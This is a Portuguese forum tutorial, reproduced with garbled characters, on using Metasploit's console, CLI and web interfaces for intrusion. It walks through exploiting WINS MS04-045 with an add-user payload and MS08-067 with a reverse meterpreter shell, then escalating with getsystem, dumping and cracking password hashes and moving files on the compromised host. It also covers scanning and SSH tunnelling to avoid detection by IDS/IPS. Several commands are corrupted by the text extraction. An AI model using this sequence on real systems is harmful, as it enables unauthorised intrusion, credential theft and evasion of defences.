Tutorial Detalhado Em Guia Prático Do Metasploit

  • Upload
    claudio

  • View
    232

  • Download
    0

Embed Size (px)

Citation preview

  • 7/26/2019 Tutorial Detalhado Em Guia Prtico Do Metasploit

    1/12

    http://www.portugal-a-programar.pt/topic/34746-tutorial-detalhado-em-guia-pratico-do-metasploit-indespensavel/

    O Metasploit um framework criado por H.D.Moore, que serve para elaborao e

    execuo de um repositrio de exploits.

    Os meus maiores agradecimentos ao H.D. Moore e sua equipe por tornarem um sonhorealidade

    Agora que todos j sabem o que o Metasploit, vamos aprender a trabalhar com ele.

    Lembrando que este tutorial s tem o objectivo de aprendizagem, cada um responsvelpelos seus actos.De qualquer forma, e devido a certos requesitos dos testes de intruso devero usarsempre proxy a no ser que usem um Lab com VMs

    Uma das coisas que hoje j existe no metasploit uma interface grfica via browser quesimplifica o processo, apesar de aconselhar a usarem o cliente tipo linha de comandos(msfcl)A interface grfica omsfweb- Interface grfica via browser

    Vou usar o linux mas h tambm a verso para windows. Ento levando em considerao

    que tenham instalado no vosso PC e est a funcionar, vamos dar uma vista sobre autilizao desta SUPER PODEROSA FERRAMENTA... um sonho tornado realidade... para

    mim que ainda me lembro quando para fazer isto era preciso dezenas de tools eprocedimentos... agora t tudo integrado numa plataforma/framework.

    Vou tambm ter o cuidado de usar vulnerabilidades antigas e exploits ultrapassados paraque no possa ser usado como guia total para um ataque, visto cobrir todo o percurso de

    exploitation. Mas basta seleccionar outros exploits para as novas coisinhas...

    Vejam tambm a, digamos, o irmo web que a excelente w3af "Web Application

    Attack and Audit Framework."

    Apesar do metasploit tambm estar preparado para ataques web, mas eu especializei-menos dois e melhor trabalhar com as duas em conjunto.

    O metasploit possui vrias ferramentas dentre elas:(e muitas mais para vocs

    explorarem... explorem os payloads, os exploits e todos os outros utilitrios. Podem fazer-lolendo ou explorando nos ficheiros ou com comandos do tipo "show payloads" ou "showexploits", entre outros.)

    msfconsole- metasploit em modo console

    msfcli- interface de automatizao de penetrao e explorao

    msflogdump- exibe sesses de arquivos de logmsfplayload- usado para gerar payloads customizados

  • 7/26/2019 Tutorial Detalhado Em Guia Prtico Do Metasploit

    2/12

    http://www.portugal-a-programar.pt/topic/34746-tutorial-detalhado-em-guia-pratico-do-metasploit-indespensavel/

    msfpescan- utilizado para analisar e descompilar executveis e DLLs

    msfencode- um codificador interactivo de payload encoder

    msfupdate- utilizado para verificar e fazer download de actualizao do framework

    msfweb- Interface grfica via browser

    Hoje devido ao facto do metasploit estar na Rapid7 podem usar uma verso gratuita dodetector de vulnerabilidades automtico, o NeXpose Community Edition... ele detecta asvulnerabilidades e integra-se com o metasploit.

    Nexpose (Detector de vulnerabilidades)

    http://www.rapid7.com/vulnerability-scanner.jsp

    Podem, como eu, usar o Nessus para isso ou outras ferramentas... hoje at o nmap tm

    scripts para detectar vulnerabilidades, que so a principal questo no exploitation... apartir de uma vulnerabilidade que tudo acontece e precisam saber a verso exacta dosoftware alvo e do SO... em alguns casos no windows at a lngua em que o windows esta.Algo essencial para se escolher o exploit certo saber o servio e a verso exacta domesmo, pois os exploits so feitos nessa base. Para tal e se soubermos j que h umavulnerabilidade para um apache 2 verso anterior 2.15, podemos fazer um scanespecifico com o Nmap a essa porta (80) para no dar nas vistas. como se alguemtivesse a aceder ao site, pois apenas so enviados pacotes para a porta 80. Se fizerem um

    scan a todas as portas e houver algum equipamento de jeito no caminho vai detectar que um scan e corta. Saibam o que procurar e no faam scans a todas as portas, a no ser

    que no haja qualquer equipamento especial, como acontece na maioria dos datacenters

    para as contas mais baixas. As mais usadas.

    Cdigo :

    Nmap sT P ! version-all T p " ipalvo

    (o T0 para que haja maior espao de tempo entre o envio de pacotes, para dificultar a

    deteco. Mas no uma tcnica de evaso e pode ser dispensado. O Nmap tm diversastcnicas de evaso, como spoofing, etc... explorem a documentao)

    Nessus (Detector de vulnerabilidades)

    http://www.nessus.org/nessus/

    O Nessus um motor que interpreta scripts em NASL (ver artigo meu na 3 Edio - Julhode 2006 que explica melhor esta linguagem) e envia-os contra um ou mais alvos, fazendoum relatrio dos resultados. Estes scripts procurar milhares de vulnerabilidades, masapensa as conhecidas. Podem desenvolver os vossos prprios scripts NASL para coisasnovas.

    Voltando ao Metasploit, eu vou ensinar aqui a utilizar somente trs destas

    ferramentas(msfconsole, msfcli, msfweb), pois acredito que um verdadeiro :smoke:aprender sozinho o restante... como sempre dou a base para futuras exploraes. Ajuda

    ao ensino e evita script kiddies

    msfconsole:

    http://www.rapid7.com/vulnerability-scanner.jsphttp://www.nessus.org/nessus/http://www.nessus.org/nessus/http://www.rapid7.com/vulnerability-scanner.jsp
  • 7/26/2019 Tutorial Detalhado Em Guia Prtico Do Metasploit

    3/12

    http://www.portugal-a-programar.pt/topic/34746-tutorial-detalhado-em-guia-pratico-do-metasploit-indespensavel/

    Primeiramente digita-se na linha de comando :Cdigo :

    #root$%./ms&console

    se for no windows s digite msfconsole sem ./, continuando dever aparecer algo como:(neste caso j foi usado o comando show exploits para se ter uma lista dos exploits. Ocomando show serve para outras coisas como payloads e opes. Ver em detalhe)

    Para quem d o primeiro passo pode executar o comando help para ver os comandos deconsola. Ateno que isto so apenas os comandos de consola e no todas as suasfuncionalidades.

  • 7/26/2019 Tutorial Detalhado Em Guia Prtico Do Metasploit

    4/12

    http://www.portugal-a-programar.pt/topic/34746-tutorial-detalhado-em-guia-pratico-do-metasploit-indespensavel/

    Como vimos na primeira imagem do mestasploit e a nivel formativo, pois no mundo a srioj sabero que exploit usar, ser: show [opo] (a opo poder ser uma das que vosaparecero seno digitarem nenhuma, como podem ver no exemplo em seguida

    desta forma:

    Cdigo :

    ms& ' show

    ms&console: show: re(uires an option: )e*ploits)+ )pa,loads)+ )encoders)+ or )nops)

    ms& '

    Viram que apareceram as opes deste comando. O mesmo acontece com outroscomandos, pois podem ir assim explorando a framework.

    Para saberem quais os exploits que existem nesta framework (desde a ultima actualizao,

    devem ir actualizando o metasploit que est em constante evoluo) basta digitar ocomando:

    Cdigo :

    ms& 'show e*ploits

  • 7/26/2019 Tutorial Detalhado Em Guia Prtico Do Metasploit

    5/12

    http://www.portugal-a-programar.pt/topic/34746-tutorial-detalhado-em-guia-pratico-do-metasploit-indespensavel/

    Para saber os payloads que existem neste framework basta digitar o comando: showpayloads e assim por diante.

    Ento dentro do ambiente do metasploit escolhemos o exploit assim com o comando use:

  • 7/26/2019 Tutorial Detalhado Em Guia Prtico Do Metasploit

    6/12

    http://www.portugal-a-programar.pt/topic/34746-tutorial-detalhado-em-guia-pratico-do-metasploit-indespensavel/

    Cdigo :

    ms& ' use winsms44

    ms& winsms44 '

    viram que eu escolhi o wins_ms04_045 e o prompt mudou. Utilizando para isto o

    comando: use

    continuando...

    Digitamos o nosso velho amigo : show , novamente para verificar quais atributos eleaceita . Vejamos:

    Cdigo :

    ms& winsms44 ' show

    ms&console: show: speci&, )targets)+ )pa,loads)+ )options)+ or )advanced)

    ms& winsms44 '

    Vimos aqui que ele aceita targets, payloads, options ou advanced.

    Vamos verificar quais opes que este exploit j seleccionado aceita:

    Cdigo :

  • 7/26/2019 Tutorial Detalhado Em Guia Prtico Do Metasploit

    7/12

    http://www.portugal-a-programar.pt/topic/34746-tutorial-detalhado-em-guia-pratico-do-metasploit-indespensavel/

    ms& winsms44 ' show options

    0*ploit 1ptions

    222222222222222

    0*ploit: Name e&ault escription

    -------- ------ ------- ------------------

    re(uired 51T The target address

    re(uired P1T 4 The target port

    Target: Target Not peci8ed

    ms& winsms44 '

    Este exploit aceita somente duas opes : o ip alvo e a porta alvo.

    Agora deves estar a perguntar... como fao para utilizar isto. Simples, basta configurar o

    que o exploit aceita (h diferenas entre exploits e cada vez mais, pois mais complexidadee vectores so adicionados, diferenciando cada vez mais os exploits), lembrando que onde

    estiver escrito required, significa que estas opes tem que ser configuradasobrigatoriamente para o exploit funcionar. Continuando...

    Faamos assim:

    Cdigo :

    ms& winsms44 ' set 51T .96.3.34

    51T -' .96.3.34

    ms& winsms44'

    ms& winsms44 ' set P1T 4

    P1T -' 4

    ms& winsms44 '

    Vejam que utilizei a mesma porta que o valor por default...Agora teremos que seleccionar o payload para o nosso exploit. O payload nada mais queum software acoplado ao exploit para fazer as mais variadas tarefas.Digitamos ento o comando para saber os payloads suportados pelo nosso exploit: showpayloads

    Cdigo :

    ms& winsms44 ' show pa,loads

    etasploit ;ramewor< =sa>le Pa,loads

  • 7/26/2019 Tutorial Detalhado Em Guia Prtico Do Metasploit

    8/12

    http://www.portugal-a-programar.pt/topic/34746-tutorial-detalhado-em-guia-pratico-do-metasploit-indespensavel/

    222222222222222222222222222222222222

    win3adduser ?indows 0*ecute net user /!

    win3>ind ?indows @ind hell

    win3>inddllinAect ?indows @ind BB CnAect

    win3>indmeterpreter ?indows @ind eterpreter BB CnAect

    win3>indstg ?indows taged @ind hell

    win3>indstgupe*ec ?indows taged @ind =pload/0*ecute

    win3>indvncinAect ?indows @ind DNE erver BB CnAect

    win3e*ec ?indows 0*ecute Eommand

    win3passive* ?indows PassiveF !ctiveF CnAection Pa,load

    win3passive*meterpreter ?indows PassiveF !ctiveF CnAect eterpreter Pa,load

    win3passive*stg ?indows taged PassiveF hell

    win3passive*vncinAect ?indows PassiveF !ctiveF CnAect DNE erver Pa,load

    win3reverse ?indows everse hell

    win3reversedllinAect ?indows everse BB CnAect

    win3reversemeterpreter ?indows everse eterpreter BB CnAect

    win3reverseord ?indows taged everse 1rdinal hell

    win3reverseordvncinAect ?indows everse 1rdinal DNE erver CnAect

    win3reversestg ?indows taged everse hell

    win3reversestgupe*ec ?indows taged everse =pload/0*ecute

    win3reversevncinAect ?indows everse DNE erver CnAect

    ms& winsms44 '

    Eu vou escolher o primeiro payload, que faz com que seja adicionado remotamente umutilizador no sistema windows (como tenho dito tanto sobre os payloads, hoje j hpayloads para tudo e todos os SOs at uma shell especial para cracking que o

    meterpreter)

    O meterpreter um complexo payload que uma espcia de shell especial para

    cracking, com funcionalidades especificas para isso. Algo que j falei bastantetambm.

    Documento onde detalhado tcnicamente o meterpreter:

    http://www.nologin.org/Downloads/Papers/meterpreter.pdf

    Caso queiram usar o meterpreter, na seleco do payload, escolham um com meterpreter,como por exemplowin32_reverse_meterpreter... isto vai criar uma sesso no alvo, com o

    meterpreter e como reverse passa pelas firewalls, pois estas pensam que como vem dedentro da rede confivel.

    http://www.nologin.org/Downloads/Papers/meterpreter.pdfhttp://www.nologin.org/Downloads/Papers/meterpreter.pdf
  • 7/26/2019 Tutorial Detalhado Em Guia Prtico Do Metasploit

    9/12

    http://www.portugal-a-programar.pt/topic/34746-tutorial-detalhado-em-guia-pratico-do-metasploit-indespensavel/

    Assim:Cdigo :

    ms& winsms44 ' set P!GB1! win3adduser Aolie

    P!GB1! win3adduser -' Aolie

    ms& winsms44'

    Vamos agora listar os sistemas operativos que sero os alvos: Utilizando o velhocomando : show, s que agora assim: show targets

    Cdigo :

    ms& winsms44 ' show targets

    upported 0*ploit Targets

    2222222222222222222222222

    ?indows 0nglish

    ms& winsms44 '

    H temos uma opcao a(ui+ somente o windows em ingles I vulneravel+ mas tudo >em...

    ms& winsms44 ' set T!J0T

    T!J0T -'

    ms& winsms44 '

    tamos mesmo, mesmo, mesmo a um tirinho de caadeira... valeu a pena chegar aqui...

    pois agora apenas falta uma coisa para completar nossa tarefa... Executar o nosso exploit,que mais um pacote exploit (conjunto de vrias coisas que antigamente se faziam em

    separado e com muito trabalho) do que somente um exploit.

    Digite somente: exploit (lindo no? Isto disparar o exploit em direco ao alvo.ATENO. S usar alvos virutais ou mquinas voas

    Cdigo :

    ms& winsms44 ' e*ploit

    E pronto...Acabamos a nossa primeira etapa, agora vamos passar para o msfcli.

    O msfcli utilizado para poder fazer tudo de uma s vez. Nao precisando do passo apasso descrito acima. Se ns ja conhecemos o exploit isto agilizamuito o nosso trabalho na linha de comando digitamos assim:

    Cdigo :

  • 7/26/2019 Tutorial Detalhado Em Guia Prtico Do Metasploit

    10/12

    http://www.portugal-a-programar.pt/topic/34746-tutorial-detalhado-em-guia-pratico-do-metasploit-indespensavel/

    #root$%./ms&cli winsms44 51T 2.96.3. P1T24 P!GB1!2win3adduser

    teste T!J0T2 0

    e vejam que faz a mesma coisa que no modo console.

    Caso o exploit se direcione a um servio sem previlgios especiais pode-se usar umexploit local para escalar previlgios ou os seguintes comandos do meterpreter. Atenoque neste caso tero de estar a usar o meterpreter (para isso tero na altura de selecodo payload escolher um especial com o meterpreter, como porexemplowin32_reverse_meterpreter)

    E na sesso do meterpreter usem os scripts j existentes para isso, como apresento embaixo.

    Cdigo :

    meterpreter' use priv

    meterpreter' gets,stem

    Mais coisas interessantes que se podem fazer com o meterpreter em conjunto com outrasferrametas geniis, como o LophtCrack ou o Cain e Abel para crackar hashes de

    passwords.Has passwords esto codificadas mas podem ser sacadas e posteriormente crackadas...

    garanto que conseguiro algumas que no sejam muito fortes, o que muito normal.

    Por exemplo. Como fazer o dump das hashes das passowrds com o meterpreter e fazer odownload para depois as crackarem com algum dos programas anteriormente

    mencionados.

    Cdigo :

    .;Eonsole

    ' use windows/sm>/ms"67netapi

    ' set P!GB1! windows/meterpreter/reversetcp

    ' set B51T Kmeu CpL

    ' set 51T KCp emotoL

    ' e*ploit

    ' getuid

    ' hashdump

    ' use -& cmd -c

    Para fazer downloads ou uploads dentro do meterpreter, entre o vosso PC e o alvocomprometido.

    Cdigo :

    meterpreter' download ar(uivo9 ar(uivo pastaestino

    meterpreter' upload ar(uivo9 ar(uivo pastaestino

  • 7/26/2019 Tutorial Detalhado Em Guia Prtico Do Metasploit

    11/12

    http://www.portugal-a-programar.pt/topic/34746-tutorial-detalhado-em-guia-pratico-do-metasploit-indespensavel/

    Para crackar as hashes eu uso o LOphtCrack. s guardar o resultado do "hashdump"num .txt (meuHash.txt) e usa-lo no LOphtCrack. Garanto que tero algumas passwords

    interessantes.

    (investiguem tambm a familia Pwdump... muito interessante para certas situaes.)

    Citar

    pwdump is the name of various Windows programs that output the LM and NTLM password hashes oflocal user accounts from the Security Account Manager (SAM). In order to work, it must be run under anAdministrator account, or be able to access an Administrator account on the computer where the hashesare to be dumped; so Pwdump does not compromise security. Most of these programs are open-source.

    http://en.wikipedia.org/wiki/Pwdump(aqui so explicadas as vrias cores e sabores e

    seus links)

    Vamos passar para uma forma ainda mais fcil. Garanto que o ppl mais windows voadorar esta forma, que um GUI (Grafical User Interface... mas no mundo dos exploits?Sim... vejam)

    Trata-se da ferramenta msfweb que quando executado permite fazermos tudo por umapagina web, todas as funcionalidades aplicaveis esto l.Para acederem ao GUI do metasploit faam:

    Cdigo :

    #root$%./ms&we>

    M----2# etasploit ;ramewor< ?e> Cnter&ace Kip:L

    Deixar correr... Abrir em seguida o browser e digitar o url: teu ip, localhost, 127.0.0.1...

    Mais a porta 55555

    Seria assim:http://localhost:55555

    E assim vero a magia desta ferramenta. Um rico GUI onde facilmente qualquer um podeconfigurar uma sesso completa, sem digitar comandos em consolas. Claro que no alvo

    vo (ou no) usar a consola, pois mais...

    Poderemos com isto fazer tudo graficamente sem digitar comandos etc etc, somente

    seleccionando.

    Para complementar e devido a essas novas IPS e IDS que detectam padres de trfego e

    podem ser actualizadas com as assinaturas dos novos exploits, aqui fica um extra

    dedicado s novas appliances PANDACom um tunnel SSH o trfego vai encriptado e no possvel identificar o mesmo, o que

    http://en.wikipedia.org/wiki/Pwdumphttp://en.wikipedia.org/wiki/Pwdumphttp://localhost:55555/http://en.wikipedia.org/wiki/Pwdumphttp://localhost:55555/
  • 7/26/2019 Tutorial Detalhado Em Guia Prtico Do Metasploit

    12/12

    http://www.portugal-a-programar.pt/topic/34746-tutorial-detalhado-em-guia-pratico-do-metasploit-indespensavel/

    vai dentro dessa sesso.

    uma das mais usadas tcnicas de evaso,

    Criando uma sesso meterpreter persistente sobre um tnel SSH(integrando com o

    metasploit)http://secnow.wordpress.com/2010/04/01/criando-uma-sessao-meterpreter-persistente-a-

    partir-de-um-tunel-ssh/

    Podem ver muitos videos que at j apresentei alguns, com tudo isto em "real" e muito

    mais... investiguem por ai, pois h magia no ar

    teckV

    http://secnow.wordpress.com/2010/04/01/criando-uma-sessao-meterpreter-persistente-a-partir-de-um-tunel-ssh/http://secnow.wordpress.com/2010/04/01/criando-uma-sessao-meterpreter-persistente-a-partir-de-um-tunel-ssh/http://secnow.wordpress.com/2010/04/01/criando-uma-sessao-meterpreter-persistente-a-partir-de-um-tunel-ssh/http://secnow.wordpress.com/2010/04/01/criando-uma-sessao-meterpreter-persistente-a-partir-de-um-tunel-ssh/